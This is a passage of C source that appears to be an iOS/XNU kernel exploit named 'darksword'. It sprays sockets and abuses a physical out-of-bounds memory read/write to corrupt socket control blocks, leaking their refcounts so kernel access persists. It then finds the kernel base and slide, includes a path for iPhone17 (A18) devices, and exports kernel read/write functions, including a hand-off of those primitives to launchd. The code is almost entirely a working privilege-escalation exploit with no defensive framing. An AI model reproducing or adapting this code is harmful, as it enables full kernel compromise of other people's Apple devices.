    uint64_t control_socket_so_count = early_kread64(control_socket_addr + off_socket_so_usecount);
    uint64_t rw_socket_so_count      = early_kread64(rw_socket_addr + off_socket_so_usecount);
    pe_log("krw leak: control_socket_so_count=0x%llx rw_socket_so_count=0x%llx", control_socket_so_count, rw_socket_so_count);
    early_kwrite64(control_socket_addr + off_socket_so_usecount,
                   control_socket_so_count + 0x0000100100001001ULL);
    early_kwrite64(rw_socket_addr + off_socket_so_usecount,
                   rw_socket_so_count + 0x0000100100001001ULL);

    early_kwrite64(rw_socket_pcb + off_inpcb_inp_depend6_inp6_icmp6filt + 8, 0);
}

static int get_darwin_major_version(void) {
    char osrelease[64] = {0};
    size_t len = sizeof(osrelease);
    if (sysctlbyname("kern.osrelease", osrelease, &len, NULL, 0) != 0) {
        return 0;
    }
    return atoi(osrelease);
}

static void pe_init(void) {
    init_target_file();

    initprocmarkers();
    pe_log("executable_name: %s", executable_name ?: "(unknown)");

    uint8_t *free_thread_arg = calloc(1, PAGE_SZ);
    pe_log("free_thread_arg: %p", free_thread_arg);

    free_thread_start_ptr         = (volatile uint64_t *)(free_thread_arg + 0x00);
    free_target_sync_ptr          = (volatile uint64_t *)(free_thread_arg + 0x08);
    free_target_size_sync_ptr     = (volatile uint64_t *)(free_thread_arg + 0x10);
    target_object_sync_ptr        = (volatile uint64_t *)(free_thread_arg + 0x18);
    target_object_offset_sync_ptr = (volatile uint64_t *)(free_thread_arg + 0x20);
    go_sync_ptr                   = (volatile uint64_t *)(free_thread_arg + 0x28);
    race_sync_ptr                 = (volatile uint64_t *)(free_thread_arg + 0x30);

    pthread_create(&free_thread_jsthread, NULL, free_thread, free_thread_arg);
}

static void pe_v1(void) {
    uint64_t n_of_total_search_mapping_pages = 0x1000ULL * 0x10;
    if (is_a18_devices) n_of_total_search_mapping_pages = 0x10ULL * 0x10;

    uint64_t search_mapping_size = 0x2000ULL * PAGE_SZ;
    if (is_a18_devices) search_mapping_size = 0x10ULL * PAGE_SZ;

    uint64_t total_search_mapping_size = n_of_total_search_mapping_pages * PAGE_SZ;
    uint64_t n_of_search_mappings = total_search_mapping_size / search_mapping_size;

    void *read_buffer  = calloc(1, oob_size);
    void *write_buffer = calloc(1, oob_size);
    initialize_physical_read_write(n_of_oob_pages * PAGE_SZ);

    mach_vm_address_t wired_mapping = 0;
    uint64_t wired_mapping_size = 1024ULL * 1024 * 1024 * 3;
    if (is_a18_devices) {
        mach_vm_allocate(mach_task_self(), &wired_mapping, wired_mapping_size, VM_FLAGS_ANYWHERE);
        pe_log("wired_mapping: 0x%llx", (uint64_t)wired_mapping);
    }

    while (true) {
        if (is_a18_devices) {
            surface_mlock(wired_mapping, wired_mapping_size);
            for (uint64_t s = 0; s < wired_mapping_size / PAGE_SZ; s++)
                uwrite64(wired_mapping + s * PAGE_SZ, 0);
        }

        mach_vm_address_t *search_mappings = calloc(n_of_search_mappings, sizeof(*search_mappings));
        for (uint64_t s = 0; s < n_of_search_mappings; s++) {
            mach_vm_address_t search_mapping_address = 0;
            kern_return_t kr = mach_vm_allocate(mach_task_self(), &search_mapping_address,
                search_mapping_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
            if (kr != KERN_SUCCESS) { pe_log("mach_vm_allocate failed!"); break; }
            for (uint64_t k = 0; k < search_mapping_size; k += PAGE_SZ)
                uwrite64(search_mapping_address + k, random_marker);
            search_mappings[s] = search_mapping_address;
        }

        socket_ports_count = 0;
        uint64_t maxfiles = 3 * 10240ULL;
        uint64_t leeway = 4096 * 2;
        uint64_t total = maxfiles - leeway;
        pe_log("spraying %llu sockets...", total);

        for (uint64_t socket_count = 0; socket_count < total; socket_count++) {
            mach_port_t port = spray_socket();
            if (port == (mach_port_t)-1) {
                pe_log("failed to spray sockets: 0x%llx", socket_ports_count);
                break;
            }
            socket_ports_count++;

            if ((socket_count & 0x3FF) == 0) {
                double p = (double)socket_count / (double)total;
                ds_progresssafe(0.30 + (p * 0.15));
            }
        }

        uint64_t start_pcb_id = socket_pcb_ids[0];
        uint64_t end_pcb_id   = socket_pcb_ids[socket_ports_count - 1];
        pe_log("socket_ports_count: 0x%llx", socket_ports_count);
        pe_log("start_pcb_id: 0x%llx", start_pcb_id);
        pe_log("end_pcb_id: 0x%llx", end_pcb_id);

        bool success = false;
        uint64_t total_mappings = n_of_search_mappings;
        for (uint64_t s = 0; s < n_of_search_mappings; s++) {
            mach_vm_address_t search_mapping_address = search_mappings[s];

            pe_log("looking in search mapping: %llu / %llu",
                   s, n_of_search_mappings);

            memory_object_size_t memory_object_size = search_mapping_size;
            mach_port_t memory_object = MACH_PORT_NULL;

            kern_return_t kr = mach_make_memory_entry_64(
                mach_task_self(),
                &memory_object_size,
                search_mapping_address,
                VM_PROT_DEFAULT,
                &memory_object,
                MACH_PORT_NULL
            );

            if (kr != 0) {
                pe_log("mach_make_memory_entry_64 failed!");
                break;
            }

            surface_mlock(search_mapping_address, search_mapping_size);

            uint64_t seeking_offset = 0;
            uint64_t total_pages =
                (search_mapping_size + PAGE_SZ - 1) / PAGE_SZ;

            while (seeking_offset + pc_size <= search_mapping_size) {
                uint64_t current_page = seeking_offset / PAGE_SZ;
                double global_progress = ((double)s + ((double)current_page / (double)total_pages)) / (double)n_of_search_mappings;
                double total_progress = 0.50 + (global_progress * 0.01);

                if ((current_page & 0xF) == 0) {
                    ds_progresssafe(total_progress);
                }

                kr = physical_oob_read_mo(
                    memory_object,
                    seeking_offset,
                    oob_size,
                    oob_offset,
                    read_buffer
                );

                if (kr == KERN_SUCCESS) {
                    if (find_and_corrupt_socket(
                            memory_object,
                            seeking_offset,
                            read_buffer,
                            write_buffer,
                            false
                        ) == KERN_SUCCESS) {

                        success = true;
                        ds_progresssafe(0.60);

                        break;
                    }
                }

                seeking_offset += PAGE_SZ;
            }

            mach_port_deallocate(mach_task_self(), memory_object);

            if (success) {
                break;
            }
        }

        sockets_release();
        for (uint64_t s = 0; s < n_of_search_mappings; s++)
            mach_vm_deallocate(mach_task_self(), search_mappings[s], search_mapping_size);
        free(search_mappings);

        if (is_a18_devices)
            surface_munlock(wired_mapping, wired_mapping_size);

        if (success) break;
        pe_log("retrying ds...");
    }

    free(read_buffer);
    free(write_buffer);
}

static void pe_a18(void) {
    void *read_buffer  = calloc(1, oob_size);
    void *write_buffer = calloc(1, oob_size);
    initialize_physical_read_write(n_of_oob_pages * PAGE_SZ);

    uint64_t wired_mapping_entry_size = PAGE_SZ;
    uint64_t wired_mapping_entries_total_size = 1024ULL * 1024 * 1024 * 2;
    uint64_t n_of_wired_mapping_entries = wired_mapping_entries_total_size / wired_mapping_entry_size;

    pe_log("allocating wired memory (%llu entries)...", n_of_wired_mapping_entries);
    mach_vm_address_t *wired_mapping_entries_addresses = calloc(n_of_wired_mapping_entries, sizeof(*wired_mapping_entries_addresses));
    uint64_t wired_entries_count = n_of_wired_mapping_entries;

    kern_return_t kr;
    mach_vm_address_t wired_address = 0;

    for (uint64_t i = 0; i < n_of_wired_mapping_entries; i++) {
        if (i == 0) {
            do {
                wired_address = 0;
                kr = mach_vm_allocate(mach_task_self(), &wired_address,
                    wired_mapping_entry_size, VM_FLAGS_ANYWHERE);
            } while (kr != KERN_SUCCESS);
        } else {
            wired_address = wired_mapping_entries_addresses[i - 1];
            do {
                wired_address += wired_mapping_entry_size;
                kr = mach_vm_allocate(mach_task_self(), &wired_address,
                    wired_mapping_entry_size, VM_FLAGS_FIXED);
            } while (kr != KERN_SUCCESS);
        }
        wired_mapping_entries_addresses[i] = wired_address;
        surface_mlock(wired_address, wired_mapping_entry_size);
        uwrite64(wired_address, wired_page_marker);
        uwrite64(wired_address + 8, wired_address);
    }
    pe_log("allocating wired memory done");

    while (true) {
        uint64_t search_mapping_size = 0x800ULL * PAGE_SZ;
        mach_vm_address_t search_mapping_address = 0;
        kr = mach_vm_allocate(mach_task_self(), &search_mapping_address,
            search_mapping_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
        if (kr != KERN_SUCCESS) { pe_log("mach_vm_allocate failed!"); break; }

        for (uint64_t k = 0; k < search_mapping_size; k += PAGE_SZ)
            uwrite64(search_mapping_address + k, random_marker);
        surface_mlock(search_mapping_address, search_mapping_size);

        memory_object_size_t memory_object_size = search_mapping_size;
        mach_port_t memory_object = MACH_PORT_NULL;
        kr = mach_make_memory_entry_64(mach_task_self(), &memory_object_size,
            search_mapping_address, VM_PROT_DEFAULT, &memory_object, MACH_PORT_NULL);
        if (kr != 0) { pe_log("mach_make_memory_entry_64 failed!"); break; }

        socket_ports_count = 0;
        uint64_t max_sockets_count = 0x5800;
        uint64_t split_count = 8;
        mach_vm_address_t wired_pages[4096];
        uint64_t wired_pages_count = 0;
        bool success = false;
        uint64_t seeking_offset = 0;

        while (seeking_offset < search_mapping_size) {
            kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer);
            if (kr != KERN_SUCCESS) { seeking_offset += PAGE_SZ; continue; }

            if (*(uint64_t *)read_buffer == wired_page_marker) {
                uint64_t wired_page = *(uint64_t *)((uint8_t *)read_buffer + 8);
                pe_log("seeking_offset: 0x%llx: found wired_page: 0x%llx", seeking_offset, wired_page);

                bool dup = false;
                for (uint64_t w = 0; w < wired_pages_count; w++)
                    if (wired_pages[w] == wired_page) { dup = true; break; }
                if (dup) { pe_log("found old wired page!"); seeking_offset += PAGE_SZ; continue; }
                wired_pages[wired_pages_count++] = wired_page;

                for (uint64_t j = 0; j < wired_entries_count; j++) {
                    if (wired_mapping_entries_addresses[j] == wired_page) {
                        wired_mapping_entries_addresses[j] = wired_mapping_entries_addresses[--wired_entries_count];
                        break;
                    }
                }
                uwrite64(wired_page, 0);
                uwrite64(wired_page + 8, 0);

                kr = mach_vm_deallocate(mach_task_self(), wired_page, wired_mapping_entry_size);
                if (kr != KERN_SUCCESS) pe_log("failed to deallocate wired page!");

                uint64_t total = max_sockets_count / split_count;

                for (uint64_t socket_count = 0; socket_count < total; socket_count++) {
                    mach_port_t port = spray_socket();
                    if (port == (mach_port_t)-1) {
                        pe_log("failed to spray sockets: 0x%llx", socket_ports_count);
                        break;
                    }

                    socket_ports_count++;

                    if ((socket_count & 0x3FF) == 0) {
                        double p = (double)socket_count / (double)total;
                        ds_progresssafe(0.30 + (p * 0.40));
                    }
                }

                if (find_and_corrupt_socket(memory_object, seeking_offset,
                    read_buffer, write_buffer, true) == KERN_SUCCESS) {
                    pe_log("seeking_offset: 0x%llx: reallocated PCB page", seeking_offset);
                    success = true;
                    break;
                } else {
                    if (socket_ports_count >= max_sockets_count) {
                        sockets_release();
                        pe_log("waiting for zone trimming...");
                        sleep(20);
                    }
                    seeking_offset = 0;
                }
            } else if (find_and_corrupt_socket(memory_object, seeking_offset,
                        read_buffer, write_buffer, false) == KERN_SUCCESS) {
                pe_log("seeking_offset: 0x%llx: found PCB page", seeking_offset);
                success = true;
                break;
            } else {
                seeking_offset += PAGE_SZ;
            }
        }

        mach_port_deallocate(mach_task_self(), memory_object);
        sockets_release();
        mach_vm_deallocate(mach_task_self(), search_mapping_address, search_mapping_size);
        if (success) break;
        pe_log("retrying ds (a18 path)");
    }

    for (uint64_t i = 0; i < wired_entries_count; i++)
        mach_vm_deallocate(mach_task_self(), wired_mapping_entries_addresses[i], wired_mapping_entry_size);
    free(wired_mapping_entries_addresses);
    free(read_buffer);
    free(write_buffer);
}

static int pe(void) {
    if (stashkrw()) {
        pe_log("recovering primitives from launchd...");
        if (recover_krw_primitives()) {
            g_ds_ready = true;
            pe_log("kernel r/w is ready!");
            ds_progresssafe(0.99);
            
            our_proc = procbypid(getpid());
            our_task = taskbyproc(our_proc);
            
            pe_log("our_proc: 0x%llx", our_proc);
            pe_log("our_task: 0x%llx", our_task);
            return 0;
        }
    }
    
    ds_progresssafe(0.10);
    struct utsname utsname;
    uname(&utsname);
    char *device_machine = utsname.machine;
    pe_log("device: %s", device_machine);
    pe_log("ispac: %s", is_pac_supported() ? "yes" : "no");

    if (strstr(device_machine, "iPhone17,")) {
        pe_log("running on a18 device");
        is_a18_devices = true;
        sleep(8);
        pe_init();
        ds_progresssafe(0.30);
        pe_a18();
        ds_progresssafe(0.70);
    } else {
        pe_log("running on non-a18 device");
        pe_init();
        ds_progresssafe(0.30);
        pe_v1();
        ds_progresssafe(0.70);
    }

    pe_log("highest_success_idx: %llu", highest_success_idx);
    pe_log("success_read_count: %llu", success_read_count);

    uwrite64((uint64_t)go_sync_ptr, 0);
    uwrite64((uint64_t)race_sync_ptr, 1);
    pthread_join(free_thread_jsthread, NULL);

    close(write_fd);
    close(read_fd);

    ds_progresssafe(0.80);
    pe_log("walking kernel structures...");

    control_socket_pcb = early_kread64(rw_socket_pcb + off_inpcb_inp_list_le_next);
    pe_log("control_socket_pcb: 0x%llx", control_socket_pcb);

    uint64_t text_ptr = 0;
    if (get_darwin_major_version() >= 23) {
        uint64_t pcbinfo_pointer = early_kread64(control_socket_pcb + off_inpcb_inp_pcbinfo);
        uint64_t ipi_zone = early_kread64(pcbinfo_pointer + off_inpcbinfo_ipi_zone);
        text_ptr = early_kread64(ipi_zone + off_kalloc_type_view_kt_zv_zv_name);

        pe_log("pcbinfo_pointer: 0x%llx", pcbinfo_pointer);
        pe_log("ipi_zone: 0x%llx", ipi_zone);
        pe_log("zv_name: 0x%llx", text_ptr);
    } else {
        uint64_t socket_ptr = early_kread64(control_socket_pcb + off_inpcb_inp_socket);
        uint64_t proto_ptr = early_kread64(socket_ptr + off_socket_so_proto);
        uint64_t raw_text_ptr = early_kread64(proto_ptr + off_protosw_pr_input);
        text_ptr = xpaci(raw_text_ptr);

        pe_log("socket_ptr: 0x%llx", socket_ptr);
        pe_log("proto_ptr: 0x%llx", proto_ptr);
        pe_log("raw_text_ptr: 0x%llx", raw_text_ptr);
        pe_log("text_ptr: 0x%llx", text_ptr);
    }

    kernel_base = text_ptr & 0xFFFFFFFFFFFFC000ULL;
    pe_log("searching for kernel mach-o header from 0x%llx...", kernel_base);
    int search_iters = 0;
    uint64_t fallback_execute_base = 0;
    while (search_iters < 0x10000) {
        uint64_t magic = early_kread64(kernel_base);
        if (magic == 0x100000cfeedfacfULL) {
            uint64_t cpuinfo = early_kread64(kernel_base + 8);
            uint32_t file_type = (uint32_t)(cpuinfo >> 32);
            pe_log("candidate mach-o at 0x%llx: filetype=%u cpuinfo=0x%llx (iter=%d)", kernel_base, file_type, cpuinfo, search_iters);
            if (file_type == 0xC) {
                pe_log("found mh_fileset header at 0x%llx", kernel_base);
                break;
            }
            if (file_type == 0x2 && fallback_execute_base == 0) {
                fallback_execute_base = kernel_base;
            }
        }
        kernel_base -= PAGE_SZ;
        search_iters++;
    }
    if (search_iters >= 0x10000) {
        if (fallback_execute_base != 0) {
            kernel_base = fallback_execute_base;
            pe_log("no mh_fileset found, falling back to mh_execute at 0x%llx", kernel_base);
        } else {
            pe_log("kernel base search exhausted after %d iterations!", search_iters);
            return -1;
        }
    }
    
    if ((kernel_base >> 48) == 0xFFFE) {
        kernel_slide = kernel_base - 0xfffffe0007004000ULL;
        pe_log("(m-series) detected via kernel_base 0x%llx", kernel_base);
    } else {
        kernel_slide = kernel_base - 0xfffffff007004000ULL;
    }
    
    uint64_t a = kernel_base;
    uint64_t b = our_task;
    uint64_t c = our_proc;

    uint64_t addrs[3] = { a, b, c };

    uint64_t highest = 0;

    for (int i = 0; i < 3; i++) {
        uint64_t v = addrs[i];

        for (int bit = 63; bit >= 0; bit--) {
            if (v & (1ULL << bit)) {
                if (bit > highest)
                    highest = bit;
                break;
            }
        }
    }

    uint64_t va_bits = highest + 1;

    if ((a >> va_bits) != 0)
        va_bits++;

    uint64_t t1sz_boot = 64 - va_bits;

    pe_log("t1sz_boot: 0x%llx", t1sz_boot);
    pe_log("kernel_base:  0x%llx", kernel_base);
    pe_log("kernel_slide: 0x%llx", kernel_slide);
    ds_progresssafe(0.99);
    krw_sockets_leak_forever();

    g_ds_ready = true;
    pe_log("kernel r/w is ready!");
    ds_progresssafe(0.99);
    
    our_proc = proc_self();
    if (!our_proc) {
        pe_log("our_proc lookup failed");
        return 0;
    }
    our_task = task_self();
    if (!our_task) {
        pe_log("our_task lookup failed");
        return 0;
    }
    
    pe_log("our_proc: 0x%llx", our_proc);
    pe_log("our_task: 0x%llx", our_task);
    if (stashkrw()) {
        pe_log("transferring primitives to launchd...");
        if (transfer_krw_to_launchd()) {
            pe_log("transferred primitives to launchd");
        } else {
            pe_log("failed to transfer primitives to launchd");
        }
    }
    return 0;
}

int ds_run(void) {
    g_ds_ready = false;
    ds_progresssafe(0.0);
    random_marker = ((uint64_t)arc4random() << 32) | arc4random();
    wired_page_marker = ((uint64_t)arc4random() << 32) | arc4random();
    target_file_size = PAGE_SZ * 2;

    default_file_content = calloc(1, target_file_size);
    for (uint64_t i = 0; i < target_file_size; i += 8)
        *(uint64_t *)(default_file_content + i) = random_marker;

    pe_log("starting darksword");
    pe_log("offsets: inpcb.icmp6filt=0x%x socket.usecount=0x%x socket.proto=0x%x protosw.input=0x%x",
           off_inpcb_inp_depend6_inp6_icmp6filt,
           off_socket_so_usecount,
           off_socket_so_proto,
           off_protosw_pr_input);
    int result = pe();
    if (result != 0) {
        ds_progresssafe(0.99);
    }

    free(default_file_content);
    default_file_content = NULL;
    return result;
}

bool ds_is_ready(void) {
    return g_ds_ready;
}

uint64_t ds_get_kernel_base(void) {
    return kernel_base;
}

uint64_t ds_get_kernel_slide(void) {
    return kernel_slide;
}

uint64_t ds_kread64(uint64_t address) {
    return early_kread64(address);
}

uint32_t ds_kread32(uint64_t address) {
    uint32_t value = 0;
    early_kread(address, &value, 4);
    return value;
}

uint16_t ds_kread16(uint64_t addr) {
    uint16_t val = 0;
    early_kread(addr, &val, sizeof(val));
    return val;
}

uint8_t ds_kread8(uint64_t addr) {
    uint32_t low = ds_kread32(addr);
    return (uint8_t)(low & 0xFF);
}

void ds_kwrite64(uint64_t address, uint64_t value) {
    early_kwrite64(address, value);
}

void ds_kwrite32(uint64_t address, uint32_t value) {
    uint8_t buf[EARLY_KRW_LENGTH];
    early_kread(address, buf, EARLY_KRW_LENGTH);
    *(uint32_t *)buf = value;
    early_kwrite32bytes(address, buf);
}

void ds_kwrite16(uint64_t addr, uint16_t val) {
    uint8_t tmp[EARLY_KRW_LENGTH];
    early_kread(addr, tmp, EARLY_KRW_LENGTH);
    *(uint16_t *)tmp = val;
    early_kwrite32bytes(addr, tmp);
}

void ds_kwrite8(uint64_t what, uint8_t val) {
    uint64_t addr = early_kread64(what);
    early_kwrite64(what, (addr & 0xFFFFFFFFFFFFFF00ULL) | (uint64_t)val);
}

void ds_kread(uint64_t address, void *buffer, uint64_t size) {
    kread_length(address, buffer, size);
}

void ds_kwrite(uint64_t address, void *buffer, uint64_t size) {
    kwrite_length(address, buffer, size);
}

void ds_kreadbuf(uint64_t addr, void *buf, uint64_t len) {
    for (size_t off = 0; off < len; off += 8) {
        uint64_t val = early_kread64(addr + off);
        size_t chunk = (len - off >= 8) ? 8 : (len - off);
        memcpy((uint8_t *)buf + off, &val, chunk);
    }
}

void ds_kwritebuf(uint64_t addr, const void *buf, uint64_t len) {
    for (size_t off = 0; off < len; off += 8) {
        uint64_t val = 0;
        size_t chunk = (len - off >= 8) ? 8 : (len - off);
        memcpy(&val, (const uint8_t *)buf + off, chunk);
        if (chunk == 8) {
            early_kwrite64(addr + off, val);
        } else {
            uint64_t original = early_kread64(addr + off);
            uint64_t mask = (1ULL << (chunk * 8)) - 1;
            early_kwrite64(addr + off, (original & ~mask) | (val & mask));
        }
    }
}

void ds_khexdump(uint64_t addr, size_t size) {
    void *data = malloc(size);
    
    for (size_t off = 0; off < size; off += 8) {
        uint64_t val = early_kread64(addr + off);
        size_t chunk = (size - off >= 8) ? 8 : (size - off);
        memcpy((uint8_t *)data + off, &val, chunk);
    }
    
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    
    for (i = 0; i < size; ++i) {
        if ((i % 16) == 0) {
            printf("[0x%016llx+0x%03zx] ", addr, i);
        }
        
        printf("%02X ", ((unsigned char*)data)[i]);
        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
            ascii[i % 16] = ((unsigned char*)data)[i];
        } else {
            ascii[i % 16] = '.';
        }
        
        if ((i+1) % 8 == 0 || i+1 == size) {
            printf(" ");
            if ((i+1) % 16 == 0) {
                printf("|  %s \n", ascii);
            } else if (i+1 == size) {
                ascii[(i+1) % 16] = '\0';
                if ((i+1) % 16 <= 8) {
                    printf(" ");
                }
                for (j = (i+1) % 16; j < 16; ++j) {
                    printf("   ");
                }
                printf("|  %s \n", ascii);
            }
        }
    }
    
    free(data);
}

uint64_t ds_kreadptr(uint64_t va) {
    return xpaci(ds_kread64(va));
}

uint64_t ds_kreadsmrptr(uint64_t va) {
    uint64_t value = ds_kreadptr(va);
    uint64_t bits = (smr_base << (62-t1sz_boot));
    
    if((value & bits) == 0) {
        return ((value & (0xFFFFFFFFFFFFC000 & ~bits)) | bits);
    }
    return (value & 0xFFFFFFFFFFFFFFE0);
}

void ds_kwritezoneelement(uint64_t dst, const void *src, uint64_t len) {
    if (len < EARLY_KRW_LENGTH) {
        printf("ds_kwritezoneelement: len < 0x20 not supported\n");
        return;
    }

    uint8_t tmpBuf[EARLY_KRW_LENGTH];
    uint64_t remaining = len;
    uint64_t offset = 0;

    while (remaining != 0) {
        uint64_t writeSize = (remaining >= EARLY_KRW_LENGTH)
                             ? EARLY_KRW_LENGTH
                             : (remaining % EARLY_KRW_LENGTH);

        uint64_t writeDst = dst + offset;
        uint64_t srcOff   = offset;

        if (writeSize != EARLY_KRW_LENGTH) {
            uint64_t adjust = EARLY_KRW_LENGTH - writeSize;
            writeDst -= adjust;
            srcOff   -= adjust;

            ds_kreadbuf(writeDst, tmpBuf, EARLY_KRW_LENGTH);
            memcpy(tmpBuf + adjust, (const uint8_t *)src + offset, writeSize);
            early_kwrite32bytes(writeDst, tmpBuf);
        } else {
            early_kwrite32bytes(writeDst, (void *)((const uint8_t *)src + srcOff));
        }

        remaining -= writeSize;
        offset    += writeSize;
    }
}

uint64_t ds_kallocarrdec(uint64_t ptr) {
    uint64_t shift = 64 - t1sz_boot - 1;
    uint64_t zone_mask = 1ULL << shift;

    if (ptr & zone_mask) {
        ptr &= ~0x1FULL;
    } else {
        ptr &= ~0x3FFFULL;
        ptr |= zone_mask;
    }
    return ptr;
}

uint64_t ds_get_pcbinfo(void) {
    return early_kread64(control_socket_pcb + off_inpcb_inp_pcbinfo);
}

uint64_t ds_get_rw_socket_pcb(void) {
    return rw_socket_pcb;
}

uint64_t ds_get_our_proc(void) {
    return our_proc;
}

uint64_t ds_get_our_task(void) {
    return our_task;
}

bool ds_isvalid(uint64_t value) {
    if (!value) {
        return false;
    }

    uint16_t top_bits = (value >> 48) & 0xFFFF;

    if (top_bits == 0xFFFF || top_bits == 0xFFFE) {
        return true;
    }

    return false;
}
